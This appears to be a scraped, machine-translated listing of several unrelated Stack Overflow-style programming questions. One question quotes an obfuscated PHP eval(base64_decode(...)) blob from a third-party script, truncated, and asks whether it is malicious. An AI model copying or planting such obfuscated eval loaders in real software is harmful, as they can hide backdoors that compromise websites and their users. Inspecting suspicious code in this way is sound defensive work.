我有一个包含此类文本的文件(没有别的)
2010-10-05
我想将此文件(内容)嵌入到C#代码中,因此我可以将此文本分配给常量(字符串MyDate),然后使用此常量.
我试图实现的是保持程序的相关信息 - 无论是在网站上还是在程序内.
解决方案必须是:
我想到的最简单的,就是保持文件"版本"与版本(实际发布日期,因为它更有意义恕我直言),这样的文件可以在网站上显示没有问题(PHP).我想我管理写的.bat文件很小,可以在每次构建时自动生成这样的文件.
但是如何在C#代码中使用它(嵌入)?
我想要实现这个或替代解决方案,但不比这个更复杂.
我已经知道了几个解决方法,比如:
但是我也不觉得"干净".我需要更顺畅的东西:-)
我的程序一方面应该通知用户"嘿,有更新版本的程序",另一方面当浏览网页时,应该在页面上显示有关发布日期的信息.
我试图完全避免这个问题,并依赖文件的时间戳 - 它可以工作,因为当你在午夜之前构建exe并在之后创建安装包时,只有一个弱点.但是,将文件上传到ftp服务器这样的计划 - 你必须确保ftp服务器支持时间戳修改,你不能使用SFTP协议.
所以,我最终创建了"版本"文件而没有嵌入它(因为我不知道怎么做) - 我在网站上用PHP脚本和执行时用C#代码读取内容.
预先感谢您的帮助.
我从http://www.freereviewscript.com下载了免费评论脚本
其中一个文件是编码的,我想确保它没有任何恶意!任何帮助将非常感激!谢谢!!
PHP代码(没有php标签):
$ve08156dfe67="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($ve08156dfe67(
"JG4xYjEzMGI0MGZlNDYyZWExYWVmYWVhOGNmMTAwZDIyPSJceDYyIjskbmY5Y2Y4ZTgyNGRmM2I0OWU2NjhhM2U
1MGI0NjA3ZTU9Ilx4NjUiOyRjODEzNTE2ZDlkMDExMmU3MjgwODYwZjlkNzkyOTliNj0iXHg2NiI7JG9jOGM1N2Y
5YzNmNmFhYmQxYjI2NjkxYjUyOTU4OGEyPSJceDY3IjskYTQxMzcyYzgyODQ3MDgzMDM1ZjVmYTJjZjMxNDY5NTc
9Ilx4NmQiOyR1MzVmYWY4Y2I1NWFkZGQ5ODlkMGU0ZTk3MjVjNmU1Yz0iXHg2ZiI7JGw5NzQwNDQyMDFlMDMxNjY
1YjU0OWUyNTQ3ZDM1NWUxPSJceDZmIjskc2Q3MDdhNDY5MWM2YWZlMmU2M2E0Y2M3YmE1N2Y1Zjg9Ilx4NmYiOyR
6MTdkYWM4NjEyZjIyYmQ5ODQ5MWI1ZDVlZDE0OWRlZT0iXHg2ZiI7JGVkMWI5Y2I4YmM0Y2NmMjk2ZDNkMTM2NGQ
zNGZhNTA4PSJceDczIjskaDZhMjE5ODI0Mjg2NDI2NTVkMDk3ODhmZGI1ZDY4NWU9Ilx4NzMiOyRwMDE1NDI5MmM
4MGYwYzdiYjc4MWFhYTNkYjhhYzU4ZD0iXHg3MyI7JHJkNjMxZDUwNjczMWQ4ZTkyNDg4NGFkNzAwMzI5NWJhPSJ
ceDczIjskbjFiMTMwYjQwZmU0NjJlYTFhZWZhZWE4Y2YxMDBkMjIuPSJcMTQxIjskbmY5Y2Y4ZTgyNGRmM2I0OWU
2NjhhM2U1MGI0NjA3ZTUuPSJcMTYyIjskYzgxMzUxNmQ5ZDAxMTJlNzI4MDg2MGY5ZDc5Mjk5YjYuPSJcMTUxIjs
kb2M4YzU3ZjljM2Y2YWFiZDFiMjY2OTFiNTI5NTg4YTIuPSJcMTcyIjskYTQxMzcyYzgyODQ3MDgzMDM1ZjVmYTJ
jZjMxNDY5NTcuPSJcMTQ0IjskdTM1ZmFmOGNiNTVhZGRkOTg5ZDBlNGU5NzI1YzZlNWMuPSJcMTQyIjskbDk3NDA
0NDIwMWUwMzE2NjViNTQ5ZTI1NDdkMzU1ZTEuPSJcMTQyIjskc2Q3MDdhNDY5MWM2YWZlMmU2M2E0Y2M3YmE1N2Y
1ZjguPSJcMTQyIjskejE3ZGFjODYxMmYyMmJkOTg0OTFiNWQ1ZWQxNDlkZWUuPSJcMTQyIjskZWQxYjljYjhiYzR
jY2YyOTZkM2QxMzY0ZDM0ZmE1MDguPSJcMTY0IjskaDZhMjE5ODI0Mjg2NDI2NTVkMDk3ODhmZGI1ZDY4NWUuPSJ
cMTY0IjskcDAxNTQyOTJjODBmMGM3YmI3ODFhYWEzZGI4YWM1OGQuPSJcMTY0IjskcmQ2MzFkNTA2NzMxZDhlOTI
0ODg0YWQ3MDAzMjk1YmEuPSJcMTY0IjskbjFiMTMwYjQwZmU0NjJlYTFhZWZhZWE4Y2YxMDBkMjIuPSJceDczIjs
kbmY5Y2Y4ZTgyNGRmM2I0OWU2NjhhM2U1MGI0NjA3ZTUuPSJceDY1IjskYzgxMzUxNmQ5ZDAxMTJlNzI4MDg2MGY
5ZDc5Mjk5YjYuPSJceDZjIjskb2M4YzU3ZjljM2Y2YWFiZDFiMjY2OTFiNTI5NTg4YTIuPSJceDY5IjskYTQxMzc
yYzgyODQ3MDgzMDM1ZjVmYTJjZjMxNDY5NTcuPSJceDM1IjskdTM1ZmFmOGNiNTVhZGRkOTg5ZDBlNGU5NzI1YzZ
lNWMuPSJceDVmIjskbDk3NDA0NDIwMWUwMzE2NjViNTQ5ZTI1NDdkMzU1ZTEuPSJceDVmIjskc2Q3MDdhNDY5MWM
2YWZlMmU2M2E0Y2M3YmE1N2Y1ZjguPSJceDVmIjskejE3ZGFjODYxMmYyMmJkOTg0OTFiNWQ1ZWQxNDlkZWUuPSJ
ceDVmIjskZWQxYjljYjhiYzRjY2YyOTZkM2QxMzY0ZDM0ZmE1MDguPSJceDcyIjskaDZhMjE5ODI0Mjg2NDI2NTV
kMDk3ODhmZGI1ZDY4NWUuPSJceDcyIjskcDAxNTQyOTJjODBmMGM3YmI3ODFhYWEzZGI4YWM1OGQuPSJceDcyIjs
kcmQ2MzFkNTA2NzMxZDhlOTI0ODg0YWQ3MDAzMjk1YmEuPSJceDcyIjskbjFiMTMwYjQwZmU0NjJlYTFhZWZhZWE
4Y2YxMDBkMjIuPSJcMTQ1IjskbmY5Y2Y4ZTgyNGRmM2I0OWU2NjhhM2U1MGI0NjA3ZTUuPSJcMTQ3IjskYzgxMzU
xNmQ5ZDAxMTJlNzI4MDg2MGY5ZDc5Mjk5YjYuPSJcMTQ1Ijskb2M4YzU3ZjljM2Y2YWFiZDFiMjY2OTFiNTI5NTg
4YTIuPSJcMTU2IjskdTM1ZmFmOGNiNTVhZGRkOTg5ZDBlNGU5NzI1YzZlNWMuPSJcMTQ1IjskbDk3NDA0NDIwMWU
wMzE2NjViNTQ5ZTI1NDdkMzU1ZTEuPSJcMTQ1Ijskc2Q3MDdhNDY5MWM2YWZlMmU2M2E0Y2M3YmE1N2Y1ZjguPSJ
cMTQ3IjskejE3ZGFjODYxMmYyMmJkOTg0OTFiNWQ1ZWQxNDlkZWUuPSJcMTYzIjskZWQxYjljYjhiYzRjY2YyOTZ
kM2QxMzY0ZDM0ZmE1MDguPSJcMTM3IjskaDZhMjE5ODI0Mjg2NDI2NTVkMDk3ODhmZGI1ZDY4NWUuPSJcMTM3Ijs
kcDAxNTQyOTJjODBmMGM3YmI3ODFhYWEzZGI4YWM1OGQuPSJcMTYwIjskcmQ2MzFkNTA2NzMxZDhlOTI0ODg0YWQ
3MDAzMjk1YmEuPSJcMTY0IjskbjFiMTMwYjQwZmU0NjJlYTFhZWZhZWE4Y2YxMDBkMjIuPSJceDM2IjskbmY5Y2Y
4ZTgyNGRmM2I0OWU2NjhhM2U1MGI0NjA3ZTUuPSJceDVmIjskYzgxMzUxNmQ5ZDAxMTJlNzI4MDg2MGY5ZDc5Mjk
5YjYuPSJceDVmIjskb2M4YzU3ZjljM2Y2YWFiZDFiMjY2OTFiNTI5NTg4YTIuPSJceDY2IjskdTM1ZmFmOGNiNTV
hZGRkOTg5ZDBlNGU5NzI1YzZlNWMuPSJceDZlIjskbDk3NDA0NDIwMWUwMzE2NjViNTQ5ZTI1NDdkMzU1ZTEuPSJ
ceDZlIjskc2Q3MDdhNDY5MWM2YWZlMmU2M2E0Y2M3YmE1N2Y1ZjguPSJceDY1IjskejE3ZGFjODYxMmYyMmJkOTg
0OTFiNWQ1ZWQxNDlkZWUuPSJceDc0IjskZWQxYjljYjhiYzRjY2YyOTZkM2QxMzY0ZDM0ZmE1MDguPSJceDcyIjs
kaDZhMjE5ODI0Mjg2NDI2NTVkMDk3ODhmZGI1ZDY4NWUuPSJceDcyIjskcDAxNTQyOTJjODBmMGM3YmI3ODFhYWE
zZGI4YWM1OGQuPSJceDZmIjskcmQ2MzFkNTA2NzMxZDhlOTI0ODg0YWQ3MDAzMjk1YmEuPSJceDZmIjskbjFiMTM
wYjQwZmU0NjJlYTFhZWZhZWE4Y2YxMDBkMjIuPSJcNjQiOyRuZjljZjhlODI0ZGYzYjQ5ZTY2OGEzZTUwYjQ2MDd
lNS49IlwxNjIiOyRjODEzNTE2ZDlkMDExMmU3MjgwODYwZjlkNzkyOTliNi49IlwxNDciOyRvYzhjNTdmOWMzZjZ
hYWJkMWIyNjY5MWI1Mjk1ODhhMi49IlwxNTQiOyR1MzVmYWY4Y2I1NWFkZGQ5ODlkMGU0ZTk3MjVjNmU1Yy49Ilw
xNDQiOyRsOTc0MDQ0MjAxZTAzMTY2NWI1NDllMjU0N2QzNTVlMS49IlwxNDQiOyRzZDcwN2E0NjkxYzZhZmUyZTY
zYTRjYzdiYTU3ZjVmOC49IlwxNjQiOyR6MTdkYWM4NjEyZjIyYmQ5ODQ5MWI1ZDVlZDE0OWRlZS49IlwxNDEiOyR
lZDFiOWNiOGJjNGNjZjI5NmQzZDEzNjRkMzRmYTUwOC49IlwxNDUiOyRoNmEyMTk4MjQyODY0MjY1NWQwOTc4OGZ
kYjVkNjg1ZS49IlwxNTciOyRwMDE1NDI5MmM4MGYwYzdiYjc4MWFhYTNkYjhhYzU4ZC49IlwxNjMiOyRyZDYzMWQ
1MDY3MzFkOGU5MjQ4ODRhZDcwMDMyOTViYS49IlwxNTMiOyRuMWIxMzBiNDBmZTQ2MmVhMWFlZmFlYThjZjEwMGQ
yMi49Ilx4NWYiOyRuZjljZjhlODI0ZGYzYjQ5ZTY2OGEzZTUwYjQ2MDdlNS49Ilx4NjUiOyRjODEzNTE2ZDlkMDE
xMmU3MjgwODYwZjlkNzkyOTliNi49Ilx4NjUiOyRvYzhjNTdmOWMzZjZhYWJkMWIyNjY5MWI1Mjk1ODhhMi49Ilx
4NjEiOyR1MzVmYWY4Y2I1NWFkZGQ5ODlkMGU0ZTk3MjVjNmU1Yy49Ilx4NWYiOyRsOTc0MDQ0MjAxZTAzMTY2NWI
1NDllMjU0N2QzNTVlMS49Ilx4NWYiOyRzZDcwN2E0NjkxYzZhZmUyZTYzYTRjYzdiYTU3ZjVmOC49Ilx4NWYiOyR
6MTdkYWM4NjEyZjIyYmQ5ODQ5MWI1ZDVlZDE0OWRlZS49Ilx4NzIiOyRlZDFiOWNiOGJjNGNjZjI5NmQzZDEzNjR
kMzRmYTUwOC49Ilx4NzAiOyRoNmEyMTk4MjQyODY0MjY1NWQwOTc4OGZkYjVkNjg1ZS49Ilx4NzQiOyRuMWIxMzB
iNDBmZTQ2MmVhMWFlZmFlYThjZjEwMGQyMi49IlwxNDQiOyRuZjljZjhlODI0ZGYzYjQ5ZTY2OGEzZTUwYjQ2MDd
lNS49IlwxNjAiOyRjODEzNTE2ZDlkMDExMmU3MjgwODYwZjlkNzkyOTliNi49IlwxNjQiOyRvYzhjNTdmOWMzZjZ
hYWJkMWIyNjY5MWI1Mjk1ODhhMi49IlwxNjQiOyR1MzVmYWY4Y2I1NWFkZGQ5ODlkMGU0ZTk3MjVjNmU1Yy49Ilw
xNDMiOyRsOTc0MDQ0MjAxZTAzMTY2NWI1NDllMjU0N2QzNTVlMS49IlwxNDYiOyRzZDcwN2E0NjkxYzZhZmUyZTY
zYTRjYzdiYTU3ZjVmOC49IlwxNDMiOyR6MTdkYWM4NjEyZjIyYmQ5ODQ5MWI1ZDVlZDE0OWRlZS49IlwxNjQiOyR
lZDFiOWNiOGJjNGNjZjI5NmQzZDEzNjRkMzRmYTUwOC49IlwxNTQiOyRoNmEyMTk4MjQyODY0MjY1NWQwOTc4OGZ
kYjVkNjg1ZS49Ilw2MSI7JG4xYjEzMGI0MGZlNDYyZWExYWVmYWVhOGNmMTAwZDIyLj0iXHg2NSI7JG5mOWNmOGU
4MjRkZjNiNDllNjY4YTNlNTBiNDYwN2U1Lj0iXHg2YyI7JGM4MTM1MTZkOWQwMTEyZTcyODA4NjBmOWQ3OTI5OWI
2Lj0iXHg1ZiI7JG9jOGM1N2Y5YzNmNmFhYmQxYjI2NjkxYjUyOTU4OGEyLj0iXHg2NSI7JHUzNWZhZjhjYjU1YWR
kZDk4OWQwZTRlOTcyNWM2ZTVjLj0iXHg2YyI7JGw5NzQwNDQyMDFlMDMxNjY1YjU0OWUyNTQ3ZDM1NWUxLj0iXHg
2YyI7JHNkNzA3YTQ2OTFjNmFmZTJlNjNhNGNjN2JhNTdmNWY4Lj0iXHg2ZiI7JGVkMWI5Y2I4YmM0Y2NmMjk2ZDN
kMTM2NGQzNGZhNTA4Lj0iXHg2MSI7JGg2YTIxOTgyNDI4NjQyNjU1ZDA5Nzg4ZmRiNWQ2ODVlLj0iXHgzMyI7JG4
xYjEzMGI0MGZlNDYyZWExYWVmYWVhOGNmMTAwZDIyLj0iXDE0MyI7JG5mOWNmOGU4MjRkZjNiNDllNjY4YTNlNTB
iNDYwN2U1Lj0iXDE0MSI7JGM4MTM1MTZkOWQwMTEyZTcyODA4NjBmOWQ3OTI5OWI2Lj0iXDE0MyI7JHUzNWZhZjh
jYjU1YWRkZDk4OWQwZTRlOTcyNWM2ZTVjLj0iXDE0NSI7JGw5NzQwNDQyMDFlMDMxNjY1YjU0OWUyNTQ3ZDM1NWU
xLj0iXDE2NSI7JHNkNzA3YTQ2OTFjNmFmZTJlNjNhNGNjN2JhNTdmNWY4Lj0iXDE1NiI7JGVkMWI5Y2I4YmM0Y2N
mMjk2ZDNkMTM2NGQzNGZhNTA4Lj0iXDE0MyI7JG4xYjEzMGI0MGZlNDYyZWExYWVmYWVhOGNmMTAwZDIyLj0iXHg
2ZiI7JG5mOWNmOGU4MjRkZjNiNDllNjY4YTNlNTBiNDYwN2U1Lj0iXHg2MyI7JGM4MTM1MTZkOWQwMTEyZTcyODA
4NjBmOWQ3OTI5OWI2Lj0iXHg2ZiI7JHUzNWZhZjhjYjU1YWRkZDk4OWQwZTRlOTcyNWM2ZTVjLj0iXHg2MSI7JGw
5NzQwNDQyMDFlMDMxNjY1YjU0OWUyNTQ3ZDM1NWUxLj0iXHg3MyI7JHNkNzA3YTQ2OTFjNmFmZTJlNjNhNGNjN2J …Run Code Online (Sandbox Code Playgroud) 我有一个我正在处理的应用程序,当我尝试发送电子邮件时,电子邮件发送成功,但应用程序然后使用50%的CPU直到它关闭.
这是导致问题的send方法.
public void Send()
{
if(System.String.IsNullOrEmpty(this.Server))
{
throw new PreferenceNotSetException("Server not set");
}
if(System.String.IsNullOrEmpty(this.From))
{
throw new PreferenceNotSetException("E-Mail address not set.");
}
if(System.String.IsNullOrEmpty(this.To))
{
throw new PreferenceNotSetException("Recipients E-Mail address not set.");
}
using(System.Net.Mail.MailMessage message = new System.Net.Mail.MailMessage(this.From, this.To, this.Subject, this.FormattedText))
{
message.IsBodyHtml = true;
System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient(this.Server);
client.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
int temp = System.Net.ServicePointManager.MaxServicePointIdleTime;
System.Net.ServicePointManager.MaxServicePointIdleTime = 1;
try
{
client.Send(message);
}
catch(System.Exception ex)
{
//For debugging only.
System.Windows.Forms.MessageBox.Show(ex.ToString());
}
finally
{
System.Net.ServicePointManager.MaxServicePointIdleTime = temp;
//client.Dispose(); No dispose …Run Code Online (Sandbox Code Playgroud) 如果您使用zend框架并只是转到http:// localhost,该站点将调用索引控制器的索引操作.....有没有办法配置zend,以便在访问索引时调用其他控制器现场?
提前致谢
我一直在使用Javascript闭包来保护变量,使它们在返回的函数中是本地的,例如:
closure = function() {
var secretVar = 'Secret';
return {
"msg" : function() {
console.log(secretVar);
}
};
}();
console.log(closure.secretVar); // Undefined
closure.msg(); // Secret
Run Code Online (Sandbox Code Playgroud)
我觉得我对此有很好的把握,让我能够控制内部变量的访问方式.
我现在遇到了这个问题
closure = function() {
var secretVar = ['Secret One','Secret Two'];
return {
"del" : function(modMe) {
modMe = secretVar;
modMe.slice(1,1);
console.log(modMe);
}(secretVar),
"secretVar" : function() {
console.log(secretVar);
}
};
}();
closure.del(); // Secret One
closure.secretVar(); // Secret One
Run Code Online (Sandbox Code Playgroud)
我希望closure.del()返回Secret One,但我希望secretVar保持不变,但是,它不是.del()函数正在修改引用而不是副本,我不确定如何让它复制secretVar并修改它.
我猜它会以...的形式出现
(function(y) {
//..Body that changes y
})(secretVar)
Run Code Online (Sandbox Code Playgroud)
但是我无法让它发挥作用.有任何想法吗?
我试图解决一个简单的分类问题.
问题:
我有一组文本,我必须根据内容对它们进行分类.
使用Mahout的解决方案:
我知道我必须将输入转换为序列文件以生成模型.是的,我能够做到这一点.现在,我如何对测试数据进行分类?20News示例仅测试正确性.但是,我想做实际的分类.
我不确定是否需要编写代码或使用一些现有的类来对测试集进行分类.
是否有任何替代方法可以使用getframe和saveas将图形内容保存到光栅图像中以进行进一步处理?
方法1: getframe
h = figure('visible', 'off');
a = axes('parent', h);
% render using `scatter3()` or other plot function.
content = frame2im(getframe(h));
Run Code Online (Sandbox Code Playgroud)
这具有显示图形在调用中执行屏幕捕获的严重缺点,getframe()并且当在循环中执行这样的渲染时(即,content在每次迭代时将其保存为视频帧)存在问题.
方法2: saveas
h = figure('visible', 'off');
a = axes('parent', h);
% render using `scatter3()` or other plot function.
saveas(h, '/path/to/file.png');
content = imread(/path/to/file.png');
Run Code Online (Sandbox Code Playgroud)
这种方法具有写入磁盘的严重缺点,这在多线程应用程序中存在问题,并且比直接渲染到内存要慢.因为saveas()在调用PNG编码器之前显然会渲染到内存,所以我想要的是可能的,但我在MATLAB文档中找不到任何只执行渲染部分的函数.
问题:
您是否知道将任意axes内容渲染到光栅图像的替代方法?
Visual Studio 2010 VB.NET
我有一个DataGridView.DataSource设置为自定义对象的集合.列使用自定义对象中的只读属性进行显示,此对话框仅供显示.这些属性都返回String对象.我将列中的所有列设置为自动排序模式(未设置的列是按钮或复选框).但它没有排序.我google了,大多数人使用sql或绑定源,但我使用的是一个简单的vb集合.有人说我应该实现IComparable但不是String已经IComparable?
任何帮助,将不胜感激?
感谢名单
Bodger
根据请求,这里有一些代码片段.
此方法从我在设计器中设计的列中详细定义列.
列名称称为pSelected或pCustomer,并与列定义所关联的属性对应.
Protected Sub UpdateDGVUS()
If Not USColumnsInitted Then
USColumnsInitted = True
dgvUS.AutoGenerateColumns = False
dgvUS.Columns.Clear()
Dim iIdx As Integer
iIdx = 0
dgvUS.Columns.Insert(iIdx, Me.pSelected)
dgvUS.Columns("pSelected").DisplayIndex = iIdx
dgvUS.Columns("pSelected").SortMode = DataGridViewColumnSortMode.Automatic
iIdx = iIdx + 1
dgvUS.Columns.Insert(iIdx, Me.pCustomer)
dgvUS.Columns("pCustomer").DisplayIndex = iIdx
dgvUS.Columns("pCustomer").SortMode = DataGridViewColumnSortMode.Automatic
iIdx = iIdx + 1
dgvUS.Columns.Insert(iIdx, Me.pDetails)
dgvUS.Columns("pDetails").DisplayIndex = iIdx
dgvUS.Columns("pDetails").SortMode = DataGridViewColumnSortMode.Automatic
iIdx = iIdx + 1
dgvUS.Columns.Insert(iIdx, Me.pSelectCustomerInvoice)
dgvUS.Columns("pSelectCustomerInvoice").DisplayIndex = iIdx
iIdx = iIdx + …Run Code Online (Sandbox Code Playgroud) 我有一个脚本解析一些XML(adf)的东西.有时我们会收到破碎的XML数据(即语法,没有结束标记等).
SimpleXMLElement抛出一个错误并杀死我的脚本,如何分配类似的东西$xml_body = new SimpleXMLElement ($adf_xml);并捕获解析异常?
/home//Work//script/email_leads.php:46
堆栈跟踪:
0 /home//Work//script/email_leads.php(46)未捕获异常'Exception',消息'String无法解析为XML' :SimpleXMLElement - > __ construct('<?xml version ="...')
1 /home//Work//script/email_leads.php(97):generateFeed()2
{main}
编辑:抱歉,不小心发布了一个不同问题的标题.固定.
大家好,
我正在使用PHP连接到本地C++套接字服务器,以保持Web应用程序和几个守护进程之间的状态.我可以将数据发送到套接字服务器,但不能从它接收; 它只是阻塞socket_read()并无限期挂起.我忘记了一些愚蠢的东西(比如一个NULL字符或换行符的不同组合)?PHP如下:
socket_connect($sock, $addr, $port);
socket_write($sock, 'Hello world');
$str = '';
while($resp = socket_read($sock, 1000))
$str .= $resp;
socket_close($sock);
die("Server said: {$str}");
Run Code Online (Sandbox Code Playgroud)
套接字服务器的相关部分如下(注意<<和>>运算符重载):
std::string data;
sock >> data;
sock << data << std::endl;
Run Code Online (Sandbox Code Playgroud)
当>>呼叫Socket::recv(std::string&)和>>通话Socket::send(const std::string&).
这可以从(例如)telnet中正常工作,但PHP不想玩得很好.任何想法/建议表示赞赏.
php ×4
.net ×2
c# ×2
apache ×1
c++ ×1
controller ×1
decode ×1
decoder ×1
deployment ×1
email ×1
eval ×1
hadoop ×1
image ×1
javascript ×1
jquery ×1
mahout ×1
matlab ×1
obfuscation ×1
off-screen ×1
simplexml ×1
smtpclient ×1
sockets ×1
vb.net ×1
video ×1
xml ×1